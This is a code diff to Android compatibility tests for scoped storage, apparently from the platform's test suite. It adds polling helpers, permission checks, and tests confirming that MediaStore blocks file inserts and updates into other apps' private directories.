+            assertWithMessage("Could not setup default dir [%s]", dir.toString())
+                    .that(dir.exists())
+                    .isTrue();
         }
     }
 
@@ -133,11 +145,15 @@
         uiAutomation.adoptShellPermissionIdentity("android.permission.GRANT_RUNTIME_PERMISSIONS");
         try {
             uiAutomation.grantRuntimePermission(packageName, permission);
-            // Wait for OP_READ_EXTERNAL_STORAGE to get updated.
-            SystemClock.sleep(1000);
         } finally {
             uiAutomation.dropShellPermissionIdentity();
         }
+        try {
+            pollForPermission(packageName, permission, true);
+        } catch (Exception e) {
+            fail("Exception on polling for permission grant for " + packageName + " for "
+                    + permission + ": " + e.getMessage());
+        }
     }
 
     /**
@@ -151,6 +167,12 @@
         } finally {
             uiAutomation.dropShellPermissionIdentity();
         }
+        try {
+            pollForPermission(packageName, permission, false);
+        } catch (Exception e) {
+            fail("Exception on polling for permission revoke for " + packageName + " for "
+                    + permission + ": " + e.getMessage());
+        }
     }
 
     /**
@@ -270,9 +292,151 @@
      *
      * <p>This method drops shell permission identity.
      */
-    public static boolean openFileAs(TestApp testApp, File file, boolean forWrite)
+    public static boolean canOpenFileAs(TestApp testApp, File file, boolean forWrite)
             throws Exception {
-        return openFileAs(testApp, file.getAbsolutePath(), forWrite);
+        String actionName = forWrite ? CAN_OPEN_FILE_FOR_WRITE_QUERY : CAN_OPEN_FILE_FOR_READ_QUERY;
+        return getResultFromTestApp(testApp, file.getPath(), actionName);
+    }
+
+    public static Uri insertFileFromExternalMedia(boolean useRelative) throws IOException {
+        ContentValues values = new ContentValues();
+        String filePath =
+                getAndroidMediaDir().toString() + "/" + getContext().getPackageName() + "/"
+                        + System.currentTimeMillis();
+        if (useRelative) {
+            values.put(MediaStore.MediaColumns.RELATIVE_PATH,
+                    "Android/media/" + getContext().getPackageName());
+            values.put(MediaStore.MediaColumns.DISPLAY_NAME, System.currentTimeMillis());
+        } else {
+            values.put(MediaStore.MediaColumns.DATA, filePath);
+        }
+
+        return getContentResolver().insert(
+                MediaStore.Files.getContentUri(sStorageVolumeName), values);
+    }
+
+    public static void insertFile(ContentValues values) {
+        assertNotNull(getContentResolver().insert(
+                MediaStore.Files.getContentUri(sStorageVolumeName), values));
+    }
+
+    public static int updateFile(Uri uri, ContentValues values) {
+        return getContentResolver().update(uri, values, new Bundle());
+    }
+
+    public static void verifyInsertFromExternalPrivateDirViaRelativePath_denied() throws Exception {
+        resetDefaultExternalStorageVolume();
+
+        // Test that inserting files from Android/obb/.. is not allowed.
+        final String androidObbDir = getContext().getObbDir().toString();
+        ContentValues values = new ContentValues();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidObbDir.substring(androidObbDir.indexOf("Android")));
+        assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+
+        // Test that inserting files from Android/data/.. is not allowed.
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidDataDir.substring(androidDataDir.indexOf("Android")));
+        assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+    }
+
+    public static void verifyInsertFromExternalMediaDirViaRelativePath_allowed() throws Exception {
+        resetDefaultExternalStorageVolume();
+
+        // Test that inserting files from Android/media/.. is allowed.
+        final String androidMediaDir = getExternalMediaDir().toString();
+        final ContentValues values = new ContentValues();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidMediaDir.substring(androidMediaDir.indexOf("Android")));
+        insertFile(values);
+    }
+
+    public static void verifyInsertFromExternalPrivateDirViaData_denied() throws Exception {
+        resetDefaultExternalStorageVolume();
+
+        ContentValues values = new ContentValues();
+
+        // Test that inserting files from Android/obb/.. is not allowed.
+        final String androidObbDir =
+                getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+        values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+        assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+
+        // Test that inserting files from Android/data/.. is not allowed.
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+        assertThrows(IllegalArgumentException.class, () -> insertFile(values));
+    }
+
+    public static void verifyInsertFromExternalMediaDirViaData_allowed() throws Exception {
+        resetDefaultExternalStorageVolume();
+
+        // Test that inserting files from Android/media/.. is allowed.
+        ContentValues values = new ContentValues();
+        final String androidMediaDirFile =
+                getExternalMediaDir().toString() + "/" + System.currentTimeMillis();
+        values.put(MediaStore.MediaColumns.DATA, androidMediaDirFile);
+        insertFile(values);
+    }
+
+    // NOTE: While updating, DATA field should be ignored for all the apps including file manager.
+    public static void verifyUpdateToExternalDirsViaData_denied() throws Exception {
+        resetDefaultExternalStorageVolume();
+        Uri uri = insertFileFromExternalMedia(false);
+
+        final String androidMediaDirFile =
+                getExternalMediaDir().toString() + "/" + System.currentTimeMillis();
+        ContentValues values = new ContentValues();
+        values.put(MediaStore.MediaColumns.DATA, androidMediaDirFile);
+        assertEquals(0, updateFile(uri, values));
+
+        final String androidObbDir =
+                getContext().getObbDir().toString() + "/" + System.currentTimeMillis();
+        values.put(MediaStore.MediaColumns.DATA, androidObbDir);
+        assertEquals(0, updateFile(uri, values));
+
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(MediaStore.MediaColumns.DATA, androidDataDir);
+        assertEquals(0, updateFile(uri, values));
+    }
+
+    public static void verifyUpdateToExternalMediaDirViaRelativePath_allowed()
+            throws IOException {
+        resetDefaultExternalStorageVolume();
+        Uri uri = insertFileFromExternalMedia(true);
+
+        // Test that update to files from Android/media/.. is allowed.
+        final String androidMediaDir = getExternalMediaDir().toString();
+        ContentValues values = new ContentValues();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidMediaDir.substring(androidMediaDir.indexOf("Android")));
+        assertNotEquals(0, updateFile(uri, values));
+    }
+
+    public static void verifyUpdateToExternalPrivateDirsViaRelativePath_denied()
+            throws Exception {
+        resetDefaultExternalStorageVolume();
+        Uri uri = insertFileFromExternalMedia(true);
+
+        // Test that update to files from Android/obb/.. is not allowed.
+        final String androidObbDir = getContext().getObbDir().toString();
+        ContentValues values = new ContentValues();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidObbDir.substring(androidObbDir.indexOf("Android")));
+        assertThrows(IllegalArgumentException.class, () -> updateFile(uri, values));
+
+        // Test that update to files from Android/data/.. is not allowed.
+        final String androidDataDir = getExternalFilesDir().toString();
+        values.put(
+                MediaStore.MediaColumns.RELATIVE_PATH,
+                androidDataDir.substring(androidDataDir.indexOf("Android")));
+        assertThrows(IllegalArgumentException.class, () -> updateFile(uri, values));
     }
 
     /**
@@ -280,10 +444,11 @@
      *
      * <p>This method drops shell permission identity.
      */
-    public static boolean openFileAs(TestApp testApp, String path, boolean forWrite)
+    public static ParcelFileDescriptor openFileAs(TestApp testApp, File file, boolean forWrite)
             throws Exception {
-        return getResultFromTestApp(
-                testApp, path, forWrite ? OPEN_FILE_FOR_WRITE_QUERY : OPEN_FILE_FOR_READ_QUERY);
+        String actionName = forWrite ? OPEN_FILE_FOR_WRITE_QUERY : OPEN_FILE_FOR_READ_QUERY;
+        String mode = forWrite ? "rw" : "r";
+        return getPfdFromTestApp(testApp, file, actionName, mode);
     }
 
     /**
@@ -320,7 +485,7 @@
             final String packageName = testApp.getPackageName();
             uiAutomation.adoptShellPermissionIdentity(
                     Manifest.permission.INSTALL_PACKAGES, Manifest.permission.DELETE_PACKAGES);
-            if (InstallUtils.getInstalledVersion(packageName) != -1) {
+            if (isAppInstalled(testApp)) {
                 Uninstall.packages(packageName);
             }
             Install.single(testApp).commit();
@@ -333,6 +498,10 @@
         }
     }
 
+    public static boolean isAppInstalled(TestApp testApp) {
+        return InstallUtils.getInstalledVersion(testApp.getPackageName()) != -1;
+    }
+
     /**
      * Uninstalls a {@link TestApp}.
      */
@@ -569,6 +738,29 @@
     }
 
     /**
+     * Opens the given file via file path
+     */
+    @NonNull
+    public static ParcelFileDescriptor openWithFilePath(File file, boolean forWrite)
+            throws IOException {
+        return ParcelFileDescriptor.open(file,
+                forWrite
+                ? ParcelFileDescriptor.MODE_READ_WRITE : ParcelFileDescriptor.MODE_READ_ONLY);
+    }
+
+    /**
+     * Returns whether we can open the file.
+     */
+    public static boolean canOpen(File file, boolean forWrite) {
+        try {
+            openWithFilePath(file, forWrite);
+            return true;
+        } catch (IOException expected) {
+            return false;
+        }
+    }
+
+    /**
      * Asserts the given operation throws an exception of type {@code T}.
      */
     public static <T extends Exception> void assertThrows(Class<T> clazz, Operation<Exception> r)
@@ -683,25 +875,6 @@
     }
 
     /**
-     * Returns whether we can open the file.
-     */
-    public static boolean canOpen(File file, boolean forWrite) {
-        if (forWrite) {
-            try (FileOutputStream fis = new FileOutputStream(file)) {
-                return true;
-            } catch (IOException expected) {
-                return false;
-            }
-        } else {
-            try (FileInputStream fis = new FileInputStream(file)) {
-                return true;
-            } catch (IOException expected) {
-                return false;
-            }
-        }
-    }
-
-    /**
      * Polls for external storage to be mounted.
      */
     public static void pollForExternalStorageState() throws Exception {
@@ -721,6 +894,48 @@
     }
 
     /**
+     * Polls until {@code app} is granted or denied the given permission.
+     */
+    public static void pollForPermission(TestApp app, String perm, boolean granted)
+            throws Exception {
+        pollForPermission(app.getPackageName(), perm, granted);
+    }
+
+    /**
+     * Polls until {@code packageName} is granted or denied the given permission.
+     */
+    public static void pollForPermission(String packageName, String perm, boolean granted)
+            throws Exception {
+        pollForCondition(
+                () -> granted == checkPermission(packageName, perm),
+                "Timed out while waiting for permission " + perm + " to be "
+                        + (granted ? "granted" : "revoked"));
+    }
+
+    /**
+     * Returns true iff {@code packageName} is granted a given permission.
+     */
+    public static boolean checkPermission(String packageName, String perm) {
+        try {
+            int uid = getContext().getPackageManager().getPackageUid(packageName, 0);
+
+            Optional<ActivityManager.RunningAppProcessInfo> process = getAppProcessInfo(
+                    packageName);
+            int pid = process.isPresent() ? process.get().pid : -1;
+            return checkPermissionAndAppOp(perm, packageName, pid, uid);
+        } catch (PackageManager.NameNotFoundException e) {
+            return false;
+        }
+    }
+
+    /**
+     * Returns true iff {@code app} is granted a given permission.
+     */
+    public static boolean checkPermission(TestApp app, String perm) {
+        return checkPermission(app.getPackageName(), perm);
+    }
+
+    /**
      * Asserts the entire content of the file equals exactly {@code expectedContent}.
      */
     public static void assertFileContent(File file, byte[] expectedContent) throws IOException {
@@ -778,6 +993,20 @@
     }
 
     /**
+     * Asserts the default volume used in helper methods is the primary volume.
+     */
+    public static void assertDefaultVolumeIsPrimary() {
+        assertVolumeType(true /* isPrimary */);
+    }
+
+    /**
+     * Asserts the default volume used in helper methods is a public volume.
+     */
+    public static void assertDefaultVolumeIsPublic() {
+        assertVolumeType(false /* isPrimary */);
+    }
+
+    /**
      * Creates and returns the Android data sub-directory belonging to the calling package.
      */
     public static File getExternalFilesDir() {
@@ -855,6 +1084,11 @@
                 Environment.DIRECTORY_PODCASTS);
     }
 
+    public static File getRecordingsDir() {
+        return new File(getExternalStorageDir(),
+                Environment.DIRECTORY_RECORDINGS);
+    }
+
     public static File getRingtonesDir() {
         return new File(getExternalStorageDir(),
                 Environment.DIRECTORY_RINGTONES);
@@ -871,7 +1105,8 @@
     public static File[] getDefaultTopLevelDirs() {
         return new File [] { getAlarmsDir(), getAndroidDir(), getAudiobooksDir(), getDcimDir(),
                 getDocumentsDir(), getDownloadDir(), getMusicDir(), getMoviesDir(),
-                getNotificationsDir(), getPicturesDir(), getPodcastsDir(), getRingtonesDir() };
+                getNotificationsDir(), getPicturesDir(), getPodcastsDir(), getRecordingsDir(),
+                getRingtonesDir() };
     }
 
     private static void assertInputStreamContent(InputStream in, byte[] expectedContent)
@@ -885,8 +1120,16 @@
     private static boolean checkPermissionAndAppOp(String permission) {
         final int pid = Os.getpid();
         final int uid = Os.getuid();
+        final String packageName = getContext().getPackageName();
+        return checkPermissionAndAppOp(permission, packageName, pid, uid);
+    }
+
+    /**
+     * Checks if the given {@code permission} is granted and corresponding AppOp is MODE_ALLOWED.
+     */
+    private static boolean checkPermissionAndAppOp(String permission, String packageName, int pid,
+            int uid) {
         final Context context = getContext();
-        final String packageName = context.getPackageName();
         if (context.checkPermission(permission, pid, uid) != PackageManager.PERMISSION_GRANTED) {
             return false;
         }
@@ -916,7 +1159,9 @@
             uiAutomation.adoptShellPermissionIdentity(Manifest.permission.FORCE_STOP_PACKAGES);
 
             getContext().getSystemService(ActivityManager.class).forceStopPackage(packageName);
-            Thread.sleep(1000);
+            pollForCondition(() -> {
+                return !isProcessRunning(packageName);
+            }, "Timed out while waiting for " + packageName + " to be stopped");
         } finally {
             uiAutomation.dropShellPermissionIdentity();
         }
@@ -941,6 +1186,7 @@
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         intent.putExtra(QUERY_TYPE, actionName);
         intent.putExtra(INTENT_EXTRA_PATH, dirPath);
+        intent.putExtra(INTENT_EXTRA_CALLING_PKG, getContext().getPackageName());
         intent.addCategory(Intent.CATEGORY_LAUNCHER);
         getContext().startActivity(intent);
         if (!latch.await(POLLING_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS)) {
@@ -958,28 +1204,8 @@
      */
     private static HashMap<String, String> getMetadataFromTestApp(
             TestApp testApp, String dirPath, String actionName) throws Exception {
-        final CountDownLatch latch = new CountDownLatch(1);
-        final HashMap<String, String> appOutputList = new HashMap<>();
-        final Exception[] exception = new Exception[1];
-        exception[0] = null;
-        final BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                if (intent.hasExtra(INTENT_EXCEPTION)) {
-                    exception[0] = (Exception) (intent.getExtras().get(INTENT_EXCEPTION));
-                } else if (intent.hasExtra(actionName)) {
-                    HashMap<String, String> res =
-                            (HashMap<String, String>) intent.getExtras().get(actionName);
-                    appOutputList.putAll(res);
-                }
-                latch.countDown();
-            }
-        };
-        sendIntentToTestApp(testApp, dirPath, actionName, broadcastReceiver, latch);
-        if (exception[0] != null) {
-            throw exception[0];
-        }
-        return appOutputList;
+        Bundle bundle = getFromTestApp(testApp, dirPath, actionName);
+        return (HashMap<String, String>) bundle.get(actionName);
     }
 
     /**
@@ -987,27 +1213,8 @@
      */
     private static ArrayList<String> getContentsFromTestApp(
             TestApp testApp, String dirPath, String actionName) throws Exception {
-        final CountDownLatch latch = new CountDownLatch(1);
-        final ArrayList<String> appOutputList = new ArrayList<String>();
-        final Exception[] exception = new Exception[1];
-        exception[0] = null;
-        final BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                if (intent.hasExtra(INTENT_EXCEPTION)) {
-                    exception[0] = (Exception) (intent.getSerializableExtra(INTENT_EXCEPTION));
-                } else if (intent.hasExtra(actionName)) {
-                    appOutputList.addAll(intent.getStringArrayListExtra(actionName));
-                }
-                latch.countDown();
-            }
-        };
-
-        sendIntentToTestApp(testApp, dirPath, actionName, broadcastReceiver, latch);
-        if (exception[0] != null) {
-            throw exception[0];
-        }
-        return appOutputList;
+        Bundle bundle = getFromTestApp(testApp, dirPath, actionName);
+        return bundle.getStringArrayList(actionName);
     }
 
     /**
@@ -1015,8 +1222,23 @@
      */
     private static boolean getResultFromTestApp(TestApp testApp, String dirPath, String actionName)
             throws Exception {
+        Bundle bundle = getFromTestApp(testApp, dirPath, actionName);
+        return bundle.getBoolean(actionName, false);
+    }
+
+    private static ParcelFileDescriptor getPfdFromTestApp(TestApp testApp, File dirPath,
+            String actionName, String mode) throws Exception {
+        Bundle bundle = getFromTestApp(testApp, dirPath.getPath(), actionName);
+        return getContentResolver().openFileDescriptor(bundle.getParcelable(actionName), mode);
+    }
+
+    /**
+     * <p>This method drops shell permission identity.
+     */
+    private static Bundle getFromTestApp(TestApp testApp, String dirPath, String actionName)
+            throws Exception {
         final CountDownLatch latch = new CountDownLatch(1);
-        final boolean[] appOutput = new boolean[1];
+        final Bundle[] bundle = new Bundle[1];
         final Exception[] exception = new Exception[1];
         exception[0] = null;
         BroadcastReceiver broadcastReceiver = new BroadcastReceiver() {
@@ -1024,8 +1246,8 @@
             public void onReceive(Context context, Intent intent) {
                 if (intent.hasExtra(INTENT_EXCEPTION)) {
                     exception[0] = (Exception) (intent.getSerializableExtra(INTENT_EXCEPTION));
-                } else if (intent.hasExtra(actionName)) {
-                    appOutput[0] = intent.getBooleanExtra(actionName, false);
+                } else {
+                    bundle[0] = intent.getExtras();
                 }
                 latch.countDown();
             }
@@ -1035,7 +1257,7 @@
         if (exception[0] != null) {
             throw exception[0];
         }
-        return appOutput[0];
+        return bundle[0];
     }
 
     /**
@@ -1043,7 +1265,7 @@
      *
      * <p>This method drops shell permission identity.
      */
-    private static void setAppOpsModeForUid(int uid, int mode, @NonNull String... ops) {
+    public static void setAppOpsModeForUid(int uid, int mode, @NonNull String... ops) {
         adoptShellPermissionIdentity(null);
         try {
             for (String op : ops) {
@@ -1139,19 +1361,22 @@
     }
 
     /**
-     * Gets the name of the public volume.
+     * Gets the name of the public volume, waiting for a bit for it to be available.
      */
     public static String getPublicVolumeName() throws Exception {
         final String[] volName = new String[1];
         pollForCondition(() -> {
-            volName[0] = getPublicVolumeNameInternal();
+            volName[0] = getCurrentPublicVolumeName();
             return volName[0] != null;
         }, "Timed out while waiting for public volume to be ready");
 
         return volName[0];
     }
 
-    private static String getPublicVolumeNameInternal() {
+    /**
+     * @return the currently mounted public volume, if any.
+     */
+    public static String getCurrentPublicVolumeName() {
         final String[] allVolumeDetails;
         try {
             allVolumeDetails = executeShellCommand("sm list-volumes")
@@ -1199,4 +1424,26 @@
                 () -> Environment.isExternalStorageManager(),
                 "Timed out while waiting for MANAGE_EXTERNAL_STORAGE");
     }
+
+    private static void assertVolumeType(boolean isPrimary) {
+        String[] parts = getExternalFilesDir().getAbsolutePath().split("/");
+        assertThat(parts.length).isAtLeast(3);
+        assertThat(parts[1]).isEqualTo("storage");
+        if (isPrimary) {
+            assertThat(parts[2]).isEqualTo("emulated");
+        } else {
+            assertThat(parts[2]).isNotEqualTo("emulated");
+        }
+    }
+
+    private static boolean isProcessRunning(String packageName) {
+        return getAppProcessInfo(packageName).isPresent();
+    }
+
+    private static Optional<ActivityManager.RunningAppProcessInfo> getAppProcessInfo(
+            String packageName) {
+        return getContext().getSystemService(
+                ActivityManager.class).getRunningAppProcesses().stream().filter(
+                        p -> packageName.equals(p.processName)).findFirst();
+    }
 }
diff --git a/hostsidetests/scopedstorage/res/raw/test_audio.mp3 b/hostsidetests/scopedstorage/res/raw/test_audio.mp3
new file mode 100644
index 0000000..4fe9228
--- /dev/null
+++ b/hostsidetests/scopedstorage/res/raw/test_audio.mp3
Binary files differ
diff --git a/hostsidetests/scopedstorage/res/xml/file_paths.xml b/hostsidetests/scopedstorage/res/xml/file_paths.xml
new file mode 100644
index 0000000..2d5ccaf
--- /dev/null
+++ b/hostsidetests/scopedstorage/res/xml/file_paths.xml
@@ -0,0 +1,3 @@
+<external-paths xmlns:android="http://schemas.android.com/apk/res/android">
+   <external-path name="external_files" path="."/>
+</external-paths>
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTest.java
index e1fed5d..ac03d37 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/PublicVolumeTest.java
@@ -22,6 +22,7 @@
 
 import androidx.test.runner.AndroidJUnit4;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.runner.RunWith;
 
@@ -38,4 +39,9 @@
         TestUtils.setExternalStorageVolume(volumeName);
         super.setup();
     }
+
+    @After
+    public void resetExternalStorageVolume() {
+        TestUtils.resetDefaultExternalStorageVolume();
+    }
 }
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index 99fc1a3..cf5efe5 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -16,23 +16,9 @@
 
 package android.scopedstorage.cts;
 
-import static android.app.AppOpsManager.permissionToOp;
-import static android.os.SystemProperties.getBoolean;
-import static android.provider.MediaStore.MediaColumns;
-import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMatch;
-import static android.scopedstorage.cts.lib.RedactionTestHelper.assertExifMetadataMismatch;
-import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadata;
-import static android.scopedstorage.cts.lib.RedactionTestHelper.getExifMetadataFromRawResource;
 import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA1;
-import static android.scopedstorage.cts.lib.TestUtils.BYTES_DATA2;
-import static android.scopedstorage.cts.lib.TestUtils.STR_DATA1;
-import static android.scopedstorage.cts.lib.TestUtils.STR_DATA2;
 import static android.scopedstorage.cts.lib.TestUtils.adoptShellPermissionIdentity;
-import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid;
-import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory;
 import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile;
-import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameDirectory;
-import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameFile;
 import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains;
 import static android.scopedstorage.cts.lib.TestUtils.assertFileContent;
 import static android.scopedstorage.cts.lib.TestUtils.assertThrows;
@@ -41,120 +27,73 @@
 import static android.scopedstorage.cts.lib.TestUtils.createFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow;
-import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively;
-import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProvider;
-import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow;
-import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid;
 import static android.scopedstorage.cts.lib.TestUtils.dropShellPermissionIdentity;
 import static android.scopedstorage.cts.lib.TestUtils.executeShellCommand;
-import static android.scopedstorage.cts.lib.TestUtils.getAlarmsDir;
-import static android.scopedstorage.cts.lib.TestUtils.getAndroidDataDir;
 import static android.scopedstorage.cts.lib.TestUtils.getAndroidDir;
 import static android.scopedstorage.cts.lib.TestUtils.getAndroidMediaDir;
-import static android.scopedstorage.cts.lib.TestUtils.getAudiobooksDir;
 import static android.scopedstorage.cts.lib.TestUtils.getContentResolver;
 import static android.scopedstorage.cts.lib.TestUtils.getDcimDir;
 import static android.scopedstorage.cts.lib.TestUtils.getDefaultTopLevelDirs;
-import static android.scopedstorage.cts.lib.TestUtils.getDocumentsDir;
 import static android.scopedstorage.cts.lib.TestUtils.getDownloadDir;
 import static android.scopedstorage.cts.lib.TestUtils.getExternalFilesDir;
 import static android.scopedstorage.cts.lib.TestUtils.getExternalMediaDir;
 import static android.scopedstorage.cts.lib.TestUtils.getExternalStorageDir;
-import static android.scopedstorage.cts.lib.TestUtils.getFileMimeTypeFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getFileOwnerPackageFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase;
-import static android.scopedstorage.cts.lib.TestUtils.getFileSizeFromDatabase;
 import static android.scopedstorage.cts.lib.TestUtils.getFileUri;
 import static android.scopedstorage.cts.lib.TestUtils.getMoviesDir;
 import static android.scopedstorage.cts.lib.TestUtils.getMusicDir;
-import static android.scopedstorage.cts.lib.TestUtils.getNotificationsDir;
 import static android.scopedstorage.cts.lib.TestUtils.getPicturesDir;
-import static android.scopedstorage.cts.lib.TestUtils.getPodcastsDir;
-import static android.scopedstorage.cts.lib.TestUtils.getRingtonesDir;
-import static android.scopedstorage.cts.lib.TestUtils.grantPermission;
-import static android.scopedstorage.cts.lib.TestUtils.installApp;
-import static android.scopedstorage.cts.lib.TestUtils.installAppWithStoragePermissions;
-import static android.scopedstorage.cts.lib.TestUtils.listAs;
-import static android.scopedstorage.cts.lib.TestUtils.openFileAs;
 import static android.scopedstorage.cts.lib.TestUtils.openWithMediaProvider;
 import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageState;
 import static android.scopedstorage.cts.lib.TestUtils.pollForManageExternalStorageAllowed;
 import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
-import static android.scopedstorage.cts.lib.TestUtils.queryFile;
-import static android.scopedstorage.cts.lib.TestUtils.queryFileExcludingPending;
-import static android.scopedstorage.cts.lib.TestUtils.queryImageFile;
-import static android.scopedstorage.cts.lib.TestUtils.queryVideoFile;
-import static android.scopedstorage.cts.lib.TestUtils.readExifMetadataFromTestApp;
-import static android.scopedstorage.cts.lib.TestUtils.revokePermission;
-import static android.scopedstorage.cts.lib.TestUtils.setAttrAs;
 import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallApp;
-import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
-import static android.scopedstorage.cts.lib.TestUtils.updateDisplayNameWithMediaProvider;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaData_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaData_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalDirsViaData_denied;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalMediaDirViaRelativePath_allowed;
+import static android.scopedstorage.cts.lib.TestUtils.verifyUpdateToExternalPrivateDirsViaRelativePath_denied;
 import static android.system.OsConstants.F_OK;
-import static android.system.OsConstants.O_APPEND;
-import static android.system.OsConstants.O_CREAT;
-import static android.system.OsConstants.O_EXCL;
-import static android.system.OsConstants.O_RDWR;
-import static android.system.OsConstants.O_TRUNC;
 import static android.system.OsConstants.R_OK;
-import static android.system.OsConstants.S_IRWXU;
 import static android.system.OsConstants.W_OK;
 
 import static androidx.test.InstrumentationRegistry.getContext;
 
 import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
 
 import static junit.framework.Assert.assertFalse;
 import static junit.framework.Assert.assertTrue;
 
-import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.Manifest;
-import android.app.AppOpsManager;
 import android.app.WallpaperManager;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.database.Cursor;
 import android.net.Uri;
-import android.os.Bundle;
 import android.os.Environment;
-import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
-import android.os.Process;
 import android.platform.test.annotations.AppModeInstant;
 import android.provider.MediaStore;
 import android.system.ErrnoException;
 import android.system.Os;
-import android.system.StructStat;
 import android.util.Log;
 
-import androidx.annotation.Nullable;
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.cts.install.lib.TestApp;
 
-import com.google.common.io.Files;
-
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.io.File;
-import java.io.FileDescriptor;
 import java.io.FileNotFoundException;
 import java.io.FileOutputStream;
 import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.nio.ByteBuffer;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
 
 /**
  * Runs the scoped storage tests on primary external storage.
@@ -164,7 +103,6 @@
 @RunWith(AndroidJUnit4.class)
 public class ScopedStorageTest {
     static final String TAG = "ScopedStorageTest";
-    static final String CONTENT_PROVIDER_URL = "content://android.tradefed.contentprovider";
     static final String THIS_PACKAGE_NAME = getContext().getPackageName();
     static final int USER_SYSTEM = 0;
 
@@ -178,32 +116,25 @@
     static final String TEST_DIRECTORY_NAME = "ScopedStorageTestDirectory" + NONCE;
 
     static final String AUDIO_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".mp3";
-    static final String PLAYLIST_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".m3u";
-    static final String SUBTITLE_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".srt";
-    static final String VIDEO_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".mp4";
     static final String IMAGE_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".jpg";
     static final String NONMEDIA_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".pdf";
 
-    static final String FILE_CREATION_ERROR_MESSAGE = "No such file or directory";
-
-    private static final TestApp TEST_APP_A = new TestApp("TestAppA",
-            "android.scopedstorage.cts.testapp.A", 1, false, "CtsScopedStorageTestAppA.apk");
-    private static final TestApp TEST_APP_B = new TestApp("TestAppB",
-            "android.scopedstorage.cts.testapp.B", 1, false, "CtsScopedStorageTestAppB.apk");
-    private static final TestApp TEST_APP_C = new TestApp("TestAppC",
-            "android.scopedstorage.cts.testapp.C", 1, false, "CtsScopedStorageTestAppC.apk");
-    private static final TestApp TEST_APP_C_LEGACY = new TestApp("TestAppCLegacy",
-            "android.scopedstorage.cts.testapp.C", 1, false, "CtsScopedStorageTestAppCLegacy.apk");
-    private static final String[] SYSTEM_GALERY_APPOPS = {
-            AppOpsManager.OPSTR_WRITE_MEDIA_IMAGES, AppOpsManager.OPSTR_WRITE_MEDIA_VIDEO};
